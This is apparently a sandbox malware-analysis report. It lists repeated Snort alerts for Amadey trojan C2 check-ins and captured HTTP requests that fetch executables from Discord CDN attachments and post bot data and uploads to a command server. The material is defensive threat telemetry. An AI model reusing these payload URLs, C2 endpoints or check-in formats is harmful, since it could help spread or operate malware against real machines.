Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50005 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50007 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50009 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50011 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50013 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50015 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50018 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50020 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50022 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50023 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50025 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50026 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50028 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50030 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50032 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50033 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50036 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50038 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50039 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50041 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50043 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50044 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50045 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50046 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50048 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50049 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50051 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50052 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50054 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50055 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50056 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50057 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50059 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50061 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50063 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50064 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50066 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50068 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50069 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50071 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50073 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50074 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50076 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50078 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50080 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50081 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50082 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50083 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50084 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50085 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50086 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50088 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50089 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50092 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50093 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50094 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50095 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50096 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50097 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50098 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50099 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50101 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50102 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50103 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50104 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50105 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50106 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50108 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50111 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50113 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50115 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50116 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50117 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50118 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50119 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50120 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50121 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50122 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50123 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50125 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50126 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50127 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50128 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50129 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50130 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50131 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50132 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50133 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50134 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50135 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50136 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50137 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50138 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50139 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50140 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50141 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50142 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50143 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50144 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50145 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50146 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50147 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50149 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50150 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50152 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50153 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50154 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50155 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50156 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50158 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50159 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50160 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50161 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50162 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50163 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50165 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50166 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50167 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50168 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50169 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50170 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50171 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50173 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50175 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50176 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50177 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50178 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50179 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50181 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50182 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50183 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50184 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50185 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50186 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50188 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50195 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50214 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50216 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50218 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50220 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50221 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50219 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50222 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50223 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50224 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50226 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50227 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50228 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50229 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50230 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50231 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50232 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50233 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50234 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50235 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50236 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50237 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50238 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50239 -> 178.208.83.45:80

Source: Joe Sandbox View

ASN Name: VDSINA-ASRU VDSINA-ASRU

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: global traffic	HTTP traffic detected: GET /attachments/878034206570209333/908810887417176084/vms.exe HTTP/1.1Host: cdn.discordapp.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /attachments/878034206570209333/908810886561534042/slhost.exe HTTP/1.1Host: cdn.discordapp.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5Host: depressionk1d.ugContent-Length: 106671Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: GET /attachments/878034206570209333/908810887417176084/vms.exe HTTP/1.1Host: cdn.discordapp.com
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5Host: depressionk1d.ugContent-Length: 106671Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5Host: depressionk1d.ugContent-Length: 106671Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5Host: depressionk1d.ugContent-Length: 106671Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5Host: depressionk1d.ugContent-Length: 106671Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5Host: depressionk1d.ugContent-Length: 106671Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5Host: depressionk1d.ugContent-Length: 106671Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5Host: depressionk1d.ugContent-Length: 106671Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5Host: depressionk1d.ugContent-Length: 106671Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5Host: depressionk1d.ugContent-Length: 106671Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5Host: depressionk1d.ugContent-Length: 106671Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5Host: depressionk1d.ugContent-Length: 106671Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----1354c0751e396efa7287aa5f42b89d56Host: depressionk1d.ugContent-Length: 106715Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 31Cache-Control: no-cacheData Raw: 65 30 3d 31 30 30 30 31 30 35 30 30 31 26 75 6e 69 74 3d 31 35 32 31 33 38 35 33 33 32 31 39 Data Ascii: e0=1000105001&unit=152138533219
Source: global traffic	HTTP traffic detected: GET /attachments/878034206570209333/908810886561534042/slhost.exe HTTP/1.1Host: cdn.discordapp.com
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----fe5fd9d972afa9463906ab265b5c60cbHost: depressionk1d.ugContent-Length: 117120Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5Host: depressionk1d.ugContent-Length: 106671Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5Host: depressionk1d.ugContent-Length: 106671Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5Host: depressionk1d.ugContent-Length: 106671Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5Host: depressionk1d.ugContent-Length: 106671Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----72f5cde377fbc84156c9f93b3b5c40e7Host: depressionk1d.ugContent-Length: 106960Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----05c424e8f40820a4174cda24ec338f42Host: depressionk1d.ugContent-Length: 108145Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7326d962c3e55cc0b528f327bd65f0a2Host: depressionk1d.ugContent-Length: 110667Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5Host: depressionk1d.ugContent-Length: 106671Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5Host: depressionk1d.ugContent-Length: 106671Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5Host: depressionk1d.ugContent-Length: 106671Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5Host: depressionk1d.ugContent-Length: 106671Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5Host: depressionk1d.ugContent-Length: 106671Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 31Cache-Control: no-cacheData Raw: 65 30 3d 31 30 30 30 31 30 36 30 30 31 26 75 6e 69 74 3d 31 35 32 31 33 38 35 33 33 32 31 39 Data Ascii: e0=1000106001&unit=152138533219
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----a2459fec127b5ebc62fbd1a7f421763dHost: depressionk1d.ugContent-Length: 108376Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
